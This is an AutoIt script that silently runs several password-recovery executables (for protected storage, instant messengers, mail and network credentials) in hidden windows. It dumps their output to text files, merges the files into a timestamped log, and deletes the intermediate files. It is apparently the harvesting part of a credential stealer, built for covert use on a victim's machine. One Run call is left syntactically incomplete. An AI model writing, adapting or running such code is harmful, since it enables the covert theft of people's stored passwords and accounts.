Run(@ComSpec & ' /k "..\\Password\\Software\\pspv.exe /stext..\\Password\\new\\pspv.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "..\\Password\\Software\\im.exe /stext..\\Password\\new\\im.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "..\\Password\\Software\\mail.exe /stext..\\Password\\new\\mail.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "..\\Password\\Software\\network.exe /stext..\\Password\\new\\network.txt"', @ScriptDir, @SW_HIDE)
sleep(3000)

Run(@ComSpec & ' /k "COPY..\\Password\\new\\*.txt ..\\Password\\new\\all.txt"',
sleep(3000)

Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC
Dim $Location = @WorkingDir & '\\new\\'
Dim $Filename = "all.txt"
FileMove($Location & $Filename , $Location & $DateTime & ".log",1)
sleep(3000)

Run(@ComSpec & ' /k "del ..\\Password\\new\\*.txt"', @ScriptDir, @SW_HIDE)
sleep(1000)